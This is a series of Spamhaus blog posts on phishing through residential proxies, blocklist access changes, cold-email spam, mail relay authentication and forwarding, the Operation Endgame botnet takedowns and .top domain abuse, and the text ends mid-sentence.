Earlier this year, Spamhaus researchers noted a major shift in the phishing landscape targeting Japan: Commencing April, a China-nexus threat actor started leveraging residential proxy networks for disseminating their phishing emails, rather than sending them from a variety of subnets at China Telecom and China Unicom. In this blog, we look at the origins of the activity, drawing parallels to earlier campaigns, and discuss countermeasures to disrupt residential proxy-enabled spam operations. Phishing spam emissions from China – an old phenomenon Spam emissions from the networks of China Telecom and China Unicom networks are hardly a new nuisance, and have long been responsible for a considerable amount of listed IPs in Spamhaus’s datasets. Some branches of these internet service providers (ISPs) do better than others – it is crucial to track China Telecom and China Unicom on a branch/province-basis, as abuse handling and abuse prevention differs between these branches – but their networks never left Spamhaus’s top 10 of spam-emitting ISPs. Looking closer, however, a peculiar pattern emerged: Some subnets disseminate spam in a way common dial-up pools do. Other networks show a much more consistent, systematic pattern of spam emissions, suggesting that they are not hosting boatloads of infected end-user devices, but are dedicated to spamming. Particularly at the Fujian branch of China Telecom, dial-up-style PTRs were (and are still) configured for these spam cannons, presumably to deceive postmasters and investigators. The vast majority of spam e-mails originating from these dedicated networks are phishing, targeting users in Japan. Spamhaus encounters major, quasi-nation-state ISPs proliferating spam operations on a regular basis (a recent example is Tunisia’s Agence Tunisienne Internet), however, the spam emission situation at China Telecom and China Unicom notably sticks out by quantity – but not necessarily by quality. If this isn’t new, what caused the change? For years on end, both dial-up and dedicated spam networks of China Telecom and China Unicom have been listed in Spamhaus’s Policy Blocklist (PBL), a preventive dataset of IPs which, according to the dataset’s listing policy, “should not be attempting to directly deliver unauthenticated SMTP email to any Internet mail server.” So, for users of Spamhaus’s datasets, these (phishing) spam emissions did not pose any threat, yet the threat actors continued disseminating them for years. In February 2023, Spamhaus researchers started listing China Telecom and China Unicom subnets apparently dedicated to phishing emissions in the Spamhaus Blocklist (SBL), a different Spamhaus dataset covering – among other security threats – IP networks dedicated to spam emissions. Both PBL and SBL are bundled together in Spamhaus’s ZEN blocklist, so for its users, the additional SBL listings should hardly make any difference. At least, that’s what we thought. However, having their spam cannons listed in SBL made the threat actors jump: On several occasions, phishing spam emissions from affected networks declined sharply, only to resurface at nearby subnets shortly afterwards. In some cases, networks seemingly abandoned by the threat actors appear to have been repurposed for genuine dial-up pool usage, according to our telemetry. These observations suggest that many Japanese e-mail service providers were using SBL to protect their users, but not PBL or the combined ZEN dataset. Thus, it was only after SBL listings occurred that the threat actors saw their deliverability rates collapsing. April 2025: The shift to residential proxies This cat-and-mouse-game continued for a while. In the meantime, residential proxy networks had gained traction, fueled by a plethora of insecure or pre-compromised internet of things (IoT) devices, including smart doorbells; the threats emanating from such proxies to local networks and the internet long went unnoticed. In early April, the China-nexus phishers joined the game, and started leveraging residential proxy networks for disseminating their phishing e-mails, at the tune of 3.5 to 4 million IPs, churning through ~250k IPs on a daily basis. Latin America in particular lit up in Spamhaus’s systems like a Christmas tree. (A few weeks prior to this development, a Brazil-nexus phishing campaign was observed abusing some 500k IPs tied to residential proxy activity for widespread brute-force login attempts.) By May 2025, the source countries of this phishing campaign had gone from one (China) to 173, ballooning from around 4.6k distinct source IPs to more than 1.3m, involving a total of 8,893 Autonomous Systems (ASNs). Previously, the campaign had been constrained to IPv4 emitters; the shift towards residential proxies entailed an explosion of IPv6 spam emissions, causing a surge in IPv6 listings in Spamhaus’s datasets as well. Abusive activity proliferated by residential proxy networks has increasingly received attention since the early 2020s, however, it was not until this campaign’s shift that Spamhaus observed a scale and speed akin to the heydays of botnet spam in the 2000s. The adoption of residential proxies also saw changes in spam e-mail characteristics: Instead of impersonating the targeted brand (popular choices of the threat actors are SBI, JCB, and Hodaka) during the SMTP transaction, phish spam delivered via residential proxies consistently used generic, non-existent HELOs. So changed the phishing URLs, moving from shared file networks to the .top top-level domain (which has a considerable abuse track record), onto redirectors. Phishing landing pages are frequently hosted at virtual private servers (VPSs) in the cloud networks of Alibaba and Tencent - hardly any surprise, given their disappointing botnet controller hosting track record. Spamhaus is aware of similar campaigns targeting Taiwanese internet users. Evolutionary pressure sparks evasion attempts Given their demonstrated persistence and the resources at their disposal, Spamhaus assesses a lasting cease of China-nexus phishing operations targeting Japan as unlikely. Instead, recent developments suggest an uptick in abuse of Western cloud providers for disseminating phishing, while spam emissions from residential proxy networks continue unabated. The latter currently accounts for approximately 66% of all the Exploits Blocklist (XBL) listings, and 37% of all the Combined Spam Sources (CSS) listings (3.34m and 1.73m, respectively), and China-nexus phishers are far from being the only threat actor leveraging residential proxies. Involved miscreants can be highly evasive, discarding specific residential proxies within minutes after their IPs are included in Spamhaus’s datasets. Meanwhile, the phishing spam emissions from China Telecom and China Unicom continue, albeit at a reduced volume. We assess that this might be due to slow adoption of improved inbound spam filtering, such as Spamhaus ZEN, at Japanese email service providers (ESPs). Some of them even continue forwarding spam e-mails, and seem to be actively targeted by the threat actors to “wash” the phishing messages, thus increasing the miscreants’ deliverability rates. Outlook and recommendations While it remains unclear whether the threat actors involved will reemerge with yet another phish spam wave leveraging residential proxies, increased focus on abusing cloud hosting providers, or resort to other means, we anticipate the security threat they pose persists unabated. Shortcomings in phishing message quality (they never quite read the way a native speaker would phrase them) are counterbalanced by considerable emission volumes, persistence, as well as access to noteworthy financial and technical resources. Having become en vogue amongst cybercriminals, residential proxy networks are increasingly coming under scrutiny by network operators, defenders and investigators. To combat security threats emanating from them, suggested countermeasures include: Awareness campaigns** to educate users, abuse desks and IT (security) personnel about the risks of residential proxies, tolerating related devices or applications on their networks, and engaging with unsolicited or unexpected messages. Use of threat intelligence** to identify and block malicious traffic before it can move into or out of your network, including non-SMTP traffic, and hunting for internal devices involved, as they may have been compromised. Blocking HELOs** from non-existent, unresolvable, or invalid hostnames. Enforce on authentication** metrics for email, in particular when operating e-mail forwarding infrastructure. Don’t become a spammers’ accomplice by blindly accepting and forwarding their messages! Identifying and disconnecting infected devices**, particularly in corporate networks, given the security threats they pose. Spamhaus frequently observes residential proxies surfacing within critical infrastructure, including hospitals, governments and military networks. Sharing data and evidence** with the companies being impersonated, enabling them to take action to protect their customers and reputation. Sounds tedious? It is. Identifying and disconnecting one infected device in a corporate network can be a laborious, frustrating task, and is much more so when attempting to get a residential subscriber to do the same. As they say, there is no glory in prevention. (After all, we should know.) However, every infected device removed from your network is one less ticking time bomb that may become the next “patient zero” in a potentially major security incident. Every spam message rejected at your perimeter saves computation and storage resources, and reduces the likelihood of end-users falling for miscreants’ nefarious attempts. If you are a Computer Emergency Response Team (CERTs), please reach out to us - Spamhaus is happy to share data with you, including residential proxy activity in your constituency. If you are a postmaster, IT security employee or anti-abuse desk staff, ensure best practices and countermeasures outlined above are in place, to protect your networks and the internet as a whole. If you are a hosting provider, ensure you have a robust abuse prevention posture in place to thwart forthcoming attempts by miscreants to abuse your services. We are looking at major Western cloud providers in particular here - their networks might be the next primary vessel of China-nexus phish spammers. Thank you all for your efforts!

Query the legacy DNSBLs via Korea Telecom? Move to Spamhaus Technology’s free Data Query Service

The Spamhaus Team — Tue, 12 Aug 2025 19:10:23 GMT

The headlines for those in a hurry The fair use policy states that users cannot query via DNS resolvers or servers where there is no attributable reverse DNS; this includes Korea Telecom (we'll explain why later in this article). To provide a clear signal to users that these blocklists are not protecting their email, Spamhaus will return an error code; 127.255.255.254. If you haven't set up your email servers to accept this error code, all emails could be rejected and bounced back to their sender. To prevent any issues with your email stream, stop accessing the free blocklists via the Public Mirrors and start accessing the blocklists via Spamhaus Technology’s free Data Query Service (DQS), which you can sign up for here. Once you've verified your email address, you will get access to a "DQS key" to include in your configuration. These config changes take only minutes; see the technical docs for more detail. Why can’t Korea Telecom users query the public blocklists? The blocklists that are made freely available via the Public Mirrors are for small-scale, non-commercial use. To ensure these users have a good quality of service, usage is monitored and measured against the fair use policy. Korea Telecom’s default reverse DNS masks organizations' unique identities to the Public Mirrors, so the team can’t attribute usage to individual entities. They have no way of establishing the number of queries a single organization is making. To provide transparency, these free blocklists can be accessed via Spamhaus Technology's free DQS. How is the free DQS different from the free Public Mirrors? Usage transparency - users register to access the free DQS and are provided with a key that records query volumes. Increased performance - blocklists are updated in real time. Additional protection - access to more blocklists, including Zero Reputation Domain Blocklist, Domain Blocklist with Hostnames, and Auth Blocklist. How to access the free DQS Remove all legacy Spamhaus Project DNS Blocklist configurations in advance of signing up for an account. If you don't do this you may not be able to receive the account verification email. Sign up for an account Verify your email address Log in to your account and access your DQS key. Update your email configuration. We have config guides for mainstream MTAs. How will Korea Telecom users be prevented from querying the free DNSBLs? To ensure the fair use policy is adhered to, queries from IP addresses outside the policy will be blocked, and an error code will be returned. In the case of querying via an open/public resolver, i.e.,Korea Telecom, the error code is 127.255.255.254. If your MTA can't correctly parse these error codes, serious issues can occur, including bouncing all emails back to their senders and your emails not being queried against the blocklists. Here’s how to properly configure your MTA to process these error codes, if you continue to use the free Public Mirrors. When will the error code for Korea Telecom DNSBL users be introduced? The error code will be slowly implemented across Korea Telecom’s IP space, commencing from Wednesday, September 17th 2025. Please don’t delay - take action now and move to the free DQS. What if I don’t want to use the free DQS? Use DNS resolvers with attributable DNS to continue being protected by Spamhaus's IP and domain reputation. If you no longer wish for your mail stream to be protected for free by the blocklists, remove all associated configurations from your email infrastructure. Further details Additional information for DNSBL users having issues due to error codes is detailed here. Previous communications that were sent in relation to these changes can be found here: Spamhaus DNSBL return codes: technical update Using our public mirrors? Check your return codes now Any questions? Not a problem – reach out to us via Twitter @spamhaus, LinkedIn @TheSpamhausProject, Mastodon @spamhaus@infosec.exchange or our contact form.

Botnet Threat Update January to June 2025

The Spamhaus Team — Mon, 14 Jul 2025 11:56:10 GMT

Botnet activity increased by 26% this reporting period; the first increase we've observed for over 18 months. Five new malware families entered the Top 20, and disappointing increases for a number of global networks hosting the most active botnet command & controllers (C&Cs). Read the full report.

Spamhaus’ take on Cold Emailing…AKA spam

The Spamhaus Team — Thu, 19 Jun 2025 09:55:36 GMT

What cold email really is (and isn’t) As the name suggests, “cold email” is a spin on the term “cold call,” a practice that predates email. In both cases, the word “cold” directly indicates that the person being contacted has no prior relationship with the initiator. This is in contrast to a warm or hot lead, where some level of interest already exists. By definition cold emailing is the practice of sending unsolicited emails to individuals or businesses with whom you have no prior relationship, typically for professional purposes. But the fact that an email is unsolicited doesn’t automatically make it spam. There can be legitimate, one-to-one messages sent between two people with no previous connection. The problem begins when “cold emailing” becomes automated, scaled, and sent in bulk. This is when it crosses the line from a personal message to spam. This practice of cold emailing often tries to bypass anti-spam laws, by leveraging personalization and claiming "legitimate interest”. Or falsely identifying as transactional because they are sent “one-to-one”. But cold emails are not transactional. There’s no existing business relationship, no transaction, and certainly no confirmed opt-in (COI). So what is it, exactly? Cold Email vs. Spam From our perspective, it’s simple: it’s spam. Let’s take a look at a definition. Spam as defined in Spamhaus’ FAQ, notes that all email sent unsolicited and in bulk is "spam". Spamhaus uses the industry standard definition "Unsolicited Bulk Email" which underlines that "it's not about content, it's about consent", where: Unsolicited means that the recipient has not granted verifiable permission for the message to be sent. Bulk means that the message is sent as part of a larger batch of messages, all having substantively identical content. By definition, there is no difference between cold email and spam - no consent, no commercial relationship, and often some form of bulk (automated) delivery. Here’s some examples of what we’re seeing Spamhaus has observed a rise in businesses using the cold email approach to send irrelevant email to large audiences. The addresses are often acquired through dubious approaches such as scraping LinkedIn and then using that information to do email appending. Content creation is done via Language Learning Models (LLMs) to quickly iterate on the same basic message, resulting in emails with different wording. Using large sets of throwaway domains that closely resemble the main business domain name, the emails are then sent through legitimate services, including Microsoft Outlook and Google Apps. Here is a sample cold email, in this case using the domain: thewandr.click What’s fuelling the growth of cold outreach emails? Introducing: The Enablers. There's been a serious growth of cold outreach platforms in the last decade, many of which enable spam. Typical modus operandi for such spam enabling operations include, but aren't limited to: Buying email addresses in bulk or scraping contacts from social media and business websites, and using email appending to create target lists Using warmup tools to spread traffic across multiple platforms Using Large Language Models (LLM) and/or Artificial Intelligence (AI) to generate personalized content Interacting with emails to fake engagement Using platforms which enable bulk creation of domains for the sole purpose of soliciting prospects (and evading filters) Misusing the free tier of sending platforms and cloud providers A growing number of businesses use email scrapers, warm-up tools, fake engagement services, and cousin domains, all under the guise of legitimate outreach. These messages are highly irrelevant with the same templates being duplicated and sent at scale with no intention of defining legitimate business interest. Scraping tools are particularly useful for extracting decision makers from business networking platforms or to auto-complete email addresses based on Personally Identifiable Information (PII). We predict that this form of spam is only going to increase with the rise in use of AI and LLM, to target large cohorts with even greater precision and volume. Legal doesn’t mean ethical Cold emailing originally involved sending tailored content to carefully selected individuals with a legitimate business interest, while being honest about the intent. There are cases of legitimate interest where businesses can reach out to prospective customers but they should always follow email best practices. CAN-SPAM and GDPR have not fully evolved guidelines on B2B email communication and this grey area is being exploited by Cold Email spammers. The usage of bulk sending tools, mass acquisition of domains for the purpose of deceiving recipients and faking engagement are highly unethical though they might be following the current email guidelines. Our recommendations Spamhaus considers both the users and enablers of any of the above practices, with the intention of increasing prospects, to be engaging in spam. We recommend that platforms enabling bulk email sending, prohibits this type of activity in their Acceptable Usage Policy (AUP) guidelines and implements a strict enforcement policy. As with other forms of spam, permission is not transferrable. Platforms should ensure that their users can provide clear evidence of consent to demonstrate a legitimate business interest. As with our existing listing policies, Spamhaus will assess Cold Outreach Email sent in bulk and hitting our spamtraps as candidates for listing. We're actively contributing to the upcoming “M3AAWG Position on Cold Email”, a collaborative effort to define best practices and address the risks associated with this unsolicited outreach - keep an eye out for updates!

Stronger through sharing: PhishFort and Spamhaus working together

Lucas Sierra — Mon, 02 Jun 2025 11:15:47 GMT

At PhishFort, we’ve always believed that cybersecurity is more than an industry—it’s a community. A global network of people and organizations aligned around a shared mission: to make the internet safer for everyone. In a digital environment defined by evolving threats, we’ve learned one thing above all: sharing is the most powerful tool we have. That’s why we’re proud to collaborate with Spamhaus by sharing verified threat data from our phishing detection systems. This includes our real-time blocklist of malicious domains, used to identify phishing websites, impersonation scams, and other forms of brand abuse across the web. The blocklist is updated constantly with the findings made by the PhishFort team and reaches billions of monthly active users. Why We Share Sharing threat intelligence is not just strategic—it’s essential. The attacks we see every day at PhishFort target individuals, brands, and platforms in dozens of countries. They evolve rapidly, adapt quickly, and spread globally. No single company can stop them alone. For cybersecurity providers, trust is built on results and collaboration. By making our data available to trusted organizations like Spamhaus, we help others act faster, reduce exposure windows, and protect users far beyond our immediate clients. Our work with Spamhaus is one step in a broader strategy to support shared defense across the internet. By pooling insights and distributing reliable threat data, we enable better protection for everyone. Why Spamhaus PhishFort’s mission is to reduce the harm caused by phishing and brand impersonation, particularly in the fast-moving world of Web3. Spamhaus has been a trusted authority in internet threat intelligence for over two decades, maintaining a rigorous approach to data quality and operational neutrality. This aligns closely with PhishFort’s standards for accuracy, speed, and transparency. Our collaboration with Spamhaus enables our blocklist data to reach billions of users via internet infrastructure providers, browsers, and antivirus vendors. By joining forces, we extend the reach of our protection and contribute to the global fight against fraud, phishing, and abuse across the internet. What We Share PhishFort provides Spamhaus with domain intelligence from our **continuously updated blocklist** of phishing and impersonation domains. The blocklist contains information about malicious incidents on websites (such as fraudulent or brand-abusing domains) that have been identified and validated through: AI-powered detection**, which flags suspicious domain patterns. Thorough human review**, ensuring accurate and reliable threat data. Specialized threat monitoring, including crypto-focused domains** (e.g., wallets, DeFi platforms, and token projects). Each incident contains key details like classification (phishing, brand abuse), timestamps, and tags that feed into Spamhaus’s threat infrastructure. This combined intelligence helps secure billions of users against a broad spectrum of online attacks. Building Tools for the Web3 Community As part of our commitment to sharing and community defense, PhishFort also maintains Nighthawk—a free browser extension for Chrome, Brave, and Firefox. Nighthawk provides real-time phishing protection for crypto users, warning them before they visit suspicious domains. It’s part of our belief that security should be accessible, especially in fast-growing spaces like Web3, where new users are often the most vulnerable. Looking Ahead Cybersecurity threats aren’t going away—but neither is the community of defenders. At PhishFort, we’re excited to work with Spamhaus and others in the ecosystem who share our values. Through open collaboration and shared resources, our community-driven approach helps mitigate risks and protect a global user base. To the many researchers, responders, engineers, and analysts who make this work possible: thank you. Let’s keep sharing.

Mail relays - Part 2 | Problems with forwarded mail?

The Spamhaus Team — Wed, 28 May 2025 12:39:59 GMT

This blog follows Part 1, where we covered how to authenticate outgoing mail. If you haven’t set that up yet, we suggest you start there! Fun with forwarding. Many services allow their customers to forward their email to an arbitrary address without any checking whatsoever. Many also do this without any spam filtering either. This can lead to a steep degradation of the reputation of the mail relay service, up to getting listed as a spam source. If that describes your setup, you might unwittingly be helping the spammers, sometimes a lot. How does this happen? Due to the lack of sanity checking of the entered address, the customer typos his or her email address and sends all their mail to the wrong recipient. Including all the spam. However, it gets better! Suppose the customer actually can type their email correctly and it is one of the big receivers mentioned in Part 1. Now the mail relay is forwarding spam to a place that takes a very dim view of that and starts rejecting the spam. This can easily lead to your IP address being blocked. Spammers often forge sender addresses because they don't want to be caught. This results in the bounce message from the relay turning into spam too. Meaning that both the original spam and the bounce message can cause you problems. It gets worse Sometimes, it isn't actually the forwarding that is the problem, we often see that the lack of spam-filtering causes mailboxes to run into quota limits. If you are delivering to a local address, then all modern MTAs are capable of rejecting the message at SMTP transaction time. So you are rejecting the message before even accepting it. But when forwarding, you cannot do that. When the forwarded message is rejected, you are left with a choice - do you send a bounce message or not? In the case where it’s spam, the sender address is almost always fake, so sending the bounce is like sending spam. And to top it all, sometimes spammers gain control of end-user accounts that enable forwarding, without any checking. The spammer simply inserts their list of targets in the “forward to” field, sometimes making lists of hundreds or thousands of recipients. The spammer then sends one single mail to the compromised recipient, and boom - you are doing all of the spamming for them. How can I avoid this forwarding nightmare scenario? Robust spam filtering at the SMTP transaction, before accepting the message for delivery. After it has been accepted is too late, that might result in sending non-delivery notifications and that is undesirable. Not filtering spam, perhaps out of crippling fear of customers making claims, is usually rewarded in ways that cost even more time. Closing the loop on forwarding. Before entering the destination address into the forwarding database, a validation mail should be sent. One that explains why they are getting this mail and requiring them to visit a URL and enter a TOKEN to approve it. Some forwarding services already do this and as a result, Spamhaus does not see them causing problems like the ones above. While without spam filtering this is inadequate, it is at least a step in the right direction. While you do that, make sure there are sensible limits to the number of addresses that can be put in as forwarders. Rewrite the sender address. When forwarding mail, replace the envelope sender address with an address you control. The Sender Rewriting Scheme (SRS) is a popular way to do this. Another solution is to use the mailbox of the forwarding user as the sender address. Both of these methods allow you to keep track of the number of bounces, so you can take action whenever there are too many. It also means the message can be authenticated using SPF - preferably using the domain of your customer. Avoid sending bounces. Reject mails during the SMTP transaction where possible. If you do want to send a bounce message: make sure the original message has a positive SPF check or at most a neutral SPF check. Otherwise, it is better to drop the message entirely. Monitoring the mail server logs pro-actively is recommended. It is far better than finding out something bad has happened long after the fact. Finally, consider adding a DKIM signature if the message doesn’t already have one. Be sure to use your customer’s domain for the signature (see our previous blog on authenticated mail for more details). Sending DKIM signed mails will help protect your IP reputation, making it less likely to get blocked if a customer accidentally starts forwarding spam.

Botnets disrupted worldwide...Operation Endgame is BACK!

The Spamhaus Team — Fri, 23 May 2025 10:45:05 GMT

The long-awaited Operation Endgame, “Season 2”, is officially announced as of Friday, May 23rd, 2025. International law enforcement agencies and their partners have once again joined forces – with one aim of the (End)game – to disrupt and dismantle botnet infrastructure and their operators. The targets have all played a crucial role in facilitating successful ransomware attacks, and with Season 1’s noteworthy impact, we anticipate the same for this latest Operation. In this post, get details of the take-down tale itself and Spamhaus’ role in the current Operation, specifically with victim account remediation. Stolen credentials: the golden information Operation Endgame 2.0 has targeted Bumblebee, Latrodectus, Qakbot, DanaBot, Trickbot, and WarmCookie. It’s an operation focussed on initial access malware; a crucial component of running cybercrime infrastructure to penetrate systems, unnoticed, before deploying ransomware. Stealing credentials is a critical component for many cyber criminals. Threat actors obtain these credentials through remote access tools (RATs) and infostealers, using the compromised accounts to propagate malware or to gain a foothold within targeted networks and organizations. The affected accounts have been shared with Spamhaus, who will assist in mitigating and remediating the threat. Operation Endgame: victims' account remediation Before diving into the takedown story, here’s the overview of the support Spamhaus is providing to aid in remediation: The botnet operators rely on gaining initial access often through stealing credentials. A common tactic is via phishing emails with malicious attachments - we share more on the specifics of each malware below. Those who engaged in the operator's tactics likely became part of the targeted botnets. The remediation effort is expansive across the globe; authorities have shared data on these compromised accounts with Spamhaus for action to be taken. Spamhaus is notifying Internet Service Providers, Email Service Providers, Hosting providers or any other organizations responsible for these accounts. We strongly urge all organizations contacted by Spamhaus to act swiftly once contacted to support in securing these accounts. This can be achieved through a simple password reset, as these accounts are still circulating! For more information, see our Operation Endgame remediation page. The takedown tale – part 2 Operation Endgame is back. Following the progress initiated by May 2024’s operation, which has since facilitated detentions and interrogations, as well as server takedowns to disrupt the largest malware distributors, “Season 2” is poised to further these advancements. As with any operation involving the cybercriminal ecosystem, we must remain cautiously optimistic, though – these operations rarely, if ever, form a linear path. Last year’s Operation Endgame saw the disruption of IcedID, Smokeloader, SystemBC, Pikabot and Bumblebee. In its latest phase, between May 19th and May 22nd, Operation Endgame dismantled key infrastructure behind the malware used in ransomware attacks, targeting Bumblebee, Latrodectus, DanaBot, and WarmCookie. While Qakbot and Trickbot were not actively operating, this phase did include indictments against individuals connected to these groups. Authorities have taken down more than 300 servers worldwide and seized 650 domains. Investigators have effectively disrupted the ransomware kill chain, shutting down active threats and undermining the overall cybercrime-as-a-service ecosystem. What’s more, authorities seized EUR 3.5 million in cryptocurrency, marking a significant financial blow to the criminals behind these operations. Once again, it was a truly international effort, with contributions from authorities in Canada, Denmark, France, Germany, the Netherlands, the United Kingdom, and the United States, with support from Europol and Eurojust. The authorities have been supported by numerous partners, including Spamhaus, to share information and support with remediation efforts to ensure this operation has the greatest impact possible. Through this coalition, 20 individuals believed to be key actors behind these ransomware operations have international warrants for their arrest. And the pressure is about to increase. On May 23rd, German authorities added 18 suspects to the EU’s Most Wanted List, putting their faces front and center. This is more than just a tactical win. It’s a strategic disruption that weakens the entire ecosystem enabling ransomware attacks. Follow Operation Endgame on the official website to stay up-to-date with the latest developments. Bumblebee, Latrodectus, Qakbot, DanaBot, Trickbot, and WarmCookie - what are they? These are the botnets targeted by Endgame and have been around for some time. They have all prominently featured in our malware statistics and Botnet Threat Updates, and all with a common tactic – to steal information. Bumblebee - first discovered in September 2021, BumbleBee is a loader capable of downloading and executing additional payloads, such as CobaltStrike, Silver, and Meterpeter, and has been acting as the initial access point for ransomware deployments. Latrodectus - a sophisticated malware loader first spotted in 2023 used by threat actors like TA578 in phishing campaigns. Similar to IcedID and also targeted in Endgame v.1, it is delivered via malicious email attachments. Once active, it can execute commands, steal data, deploy additional malware, and maintain persistence through scheduled tasks and encrypted communication with its command-and-control servers. Qakbot - also known as Qbot or Pinkslipbot, Qakbot has been active since 2007. Originally, known as a banking trojan, it evolved to be a modular information stealer. This malware spreads through phishing emails and once executed, injects itself into legitimate processes on the infected system. In Aug 2003, it was successfully dismantled (although temporarily) in an international law enforcement coalition: Operation Duck Hunt. Trickbot - a module banking trojan first seen in 2016, used to steal financial credentials and personally identifiable information (PII). It is primarily distributed via phishing emails with malicious attachments. Once executed, it can move laterally to establish itself within a network and exploit vulnerabilities. The modular nature of Trickbot makes it highly adaptable to a variety of environments and networks. DanaBot – initially discovered as a modular banking Trojan in 2018, Danabot focuses on stealing valuable information by spreading phishing emails. It primarily aims to steal banking credentials, browser data, and personal information. DanaBot is known for its persistent updates thanks to its modular design and is used in large-scale, global cybercrime campaigns, often operated by multiple affiliates using the malware-as-a-service model. Warm Cookie - is a backdoor distributed via phishing emails and malicious downloads. It uses deceptive lures, such as job-related attachments, to trick users into executing malicious payloads. Once active, it enables remote access, data theft, and further malware deployment via a botnet command and controller. Warm Cookie has targeted organizations across various sectors, focusing on persistence and evasion techniques to avoid detection and maintain long-term access. The disruption of these malware families and their operators cannot have come soon enough. We are deeply grateful to all those involved; we look forward to supporting the ongoing remediation efforts. Press releases & announcements Operation Endgame website Europol: Operation ENDGAME strikes again: the ransomware kill chain broken at its source

Mail relays - Part 1 | Authenticate your outgoing mail!

The Spamhaus Team — Wed, 14 May 2025 13:09:32 GMT

Why does this matter? In the past year, several big receivers have started a push towards “no auth, no entry”, meaning that bulk mail should be properly authenticated before being accepted. While this is primarily targeted at bulk senders, and currently does not impact small senders, eventually it will trickle down to them. An example of a small sender would be a lone web shop sending out the occasional confirmation mail to a visitor. The corner store rather than the supermarket. That does not mean that smaller senders can just sit still and ignore progress. It is here that operators of mail relay services can play a vital role in helping their customers comply with the latest standards. At the same time, these mail relays can also protect their customers by ensuring only legitimate mails are being sent. Reputation is everything. The cleaner your mail is, the better. For every incoming email, the reputation of the sender plays a major role in determining the fate of the mail; whether it is summarily rejected, placed in the inbox, or banished to a spam folder. When a mail relay doesn’t provide any authentication information, the only reliable way to determine who the sender is, is with the sending IP address. This means that if one of your clients gets compromised and starts sending phishing mail, then it will affect all the mail from your IP address. If the issue is not caught quickly enough, Spamhaus may place your IP address on a blocklist. Some big receivers also have similar low reputation lists, and not all of them will be transparent about it. A solution is to make sure the mails that are sent are properly authenticated: each client should use their own domain to authenticate their mails. That way, when one client is compromised, only that specific sender can be blocked on a per-domain basis. How can we do that? Not every small sender is capable of implementing email authentication by themselves. This is where mail relays can play a pivotal role. Things like Sender Policy Framework (SPF), Domain Keys Identified Mail (DKIM), and Domain-based Message Authentication Reporting and Conformance (DMARC) take some skill to get right. However, not everything can be done by the mail relay. That “send a friend” or "contact us" form on a website should not try to send mail impersonating the visitor of the website - these features are trivially abused by spammers and they break existing email authentication that mailbox providers are implementing. Clients should understand that every email sent is sent from their own domain, or from a specialised subdomain dedicated to the website. If you must include the visitor's email, put it in the mail body or in the reply-to header, and resist the temptation to send a copy to them too. That can and does make forms trivial to abuse. Mail relays can then start to enforce this, and provide authentication at the same time. Ensuring that for each outgoing mail, the envelope sender and the email in the "From" header match the domain of the client. Once that is achieved, it is relatively easy to ensure that SPF is correct for that domain, and it should also be quite feasible to add a DKIM signature to the message, using the same domain. As an added bonus, you could add rate limits for each client, to prevent them from sending a volume of mails that is incompatible with their normal behaviour, which usually means something suspicious is happening. Authenticated mail, improved deliverability Once all of these features are in place, you will have effectively given your clients better email deliverability, and at the same time you protect your resources against abuse. Receivers will notice the consistent presence of email authentication from your platform, and you are much less likely to be blocked based on your IP address. In Part 2, discover how forwarding mail can be more trouble than it’s worth - especially when it’s done without checks, validation, or spam filtering.

Abuse takes its “toll” on .top: But who is paying the price?

The Spamhaus Team — Thu, 08 May 2025 09:56:10 GMT

Let’s start with what we’re seeing In the latest Domain Reputation Update, Spamhaus researchers observed a 50% increase in abuse of the generic top-level domain (gTLD), “.top” with 211,406 detections in just six months. Among these detections was a surge in toll road scams, a trend also flagged in APWG’s Phishing Activity report. Two examples of this scam include domains targeting E-Zpass, an automated toll paying system on the US east coast, and FasTrak its west coast equivalent. e-zpass.com-txzy[.]top bayareafastrak.com-fzxb[.]top Delivered primarily via SMS phishing - or “smishing” - these scams exploit the .top TLD to trick recipients into believing they owe unpaid toll fees. Here’s how the scam works using: The first thing you receive is an SMS (text) message claiming you have unpaid tolls or an outstanding balance. The messages often warn of fines or even the loss of your driving license if you don’t pay immediately. Within the message is a phishing link that leads you to a fake website posing as a genuine toll payment portal. The fake website asks you to enter your credit card number, bank account number, or other personal details. Finally, the stolen details are used by the scammers for fraudulent activities. The perceived legitimacy of the website, combined with the sense of urgency created through the messages, provide scammers with the perfect trap. And it’s the ongoing proliferation of such scams that underscore .top’s failure to properly oversee and prevent abuse. After being live for several days, and stealing credentials, we can confirm the site used in this example was taken down on May 4th 2025. So, what exactly do we know about .top? Managed by Jiangsu Bangning Science & Technology Co., .top was first introduced in 2014 aimed at businesses looking to highlight premium or "top" services. By 2017, this TLD had become China's most registered domain name even overtaking .com and .cn domains. However, its low-cost registrations and minimal oversight have made it a hotspot for abuse. And it’s not alone. Another TLD, .xin, operated by ElegantLeader Limited, has also been linked to fraudulent activities. Appearing in the latest Domain Reputation report, .xin has also been tied to toll road scams, and abuse utilizing hyphenated domains like 'com-tollbillx.xin' that exploit the credibility of TLDs like .com. Even more concerning? Both .top and .xin domains are primarily registered through Dominet (HK) Limited, a registrar that until August 27, 2024 operated under the name “Alibaba.com Singapore E-Commerce Private Limited”. Why the sudden name change, you might ask? It came exactly five months after ICANN issued a compliance notice on March 27th, 2024, citing the registrar’s “failure to take reasonable and prompt steps to investigate and respond appropriately to reports of abuse” - the very same issue raised with .top. Coincidence? Given .top’s track record, it seems unlikely. What makes .top and .xin such magnets for abuse? Unfortunately, both .top and .xin tick nearly every box of “how not to manage abuse”, including: Low cost registrations Minimal registration requirements Wide availability Bulk registration support On top of that, relationships with “abuse-friendly” resellers that fail to perform meaningful vetting, only worsen the situation. With some even turning a blind eye to favour profits! There’s always time to turn it around! Even small changes can lead to significant improvements. So, what practical steps can registries and registrars facing ongoing malicious activity in their TLDs take to restore trust and protect users? Enforce Know-Your-Customer procedures: To avoid a TLD with hundreds of thousands of problem domains like .top, registrars need to improve customer vetting at the point of registration. This could include: verifying contact data, querying business registries, and only adding domains to DNS once verification is complete. Clamp down on bulk registrations: Do not allow new and/or unverified users to make bulk registrations. To verify users, request additional identity checks and prevent fraudulent registrations. Automated registrations with junk names and registration information should not be processed, such as: Domain: com-tollbillalu.xin Registrant Organization: asdad Registrant State/Province: asdasd Introduce financial barriers: There’s no escaping, the vast majority of newly registered malicious domains exist at the lower-priced tiers - a trend seen consistently in Spamhaus’ Domain Reputation Reports. Many TLDs have low prices for registration and higher prices for renewal. Unsurprisingly, this incentivizes cybercriminals to quickly replace suspended domains. A better strategy? Increase the financial barrier. Instead of a blanket approach, sellers might consider tiered pricing models where high-risk domains or frequently abused patterns cost more to register. Unfortunately, .top’s actions - or lack of - suggest little intent to "do the right thing." As the issue appears to be much deeper, external intervention appears to be the only viable solution. It’s time to hold those responsible, accountable Yes, policymakers, we're talking to you. Issuing breach notices is a start, but it’s clearly not enough. So, what’s really 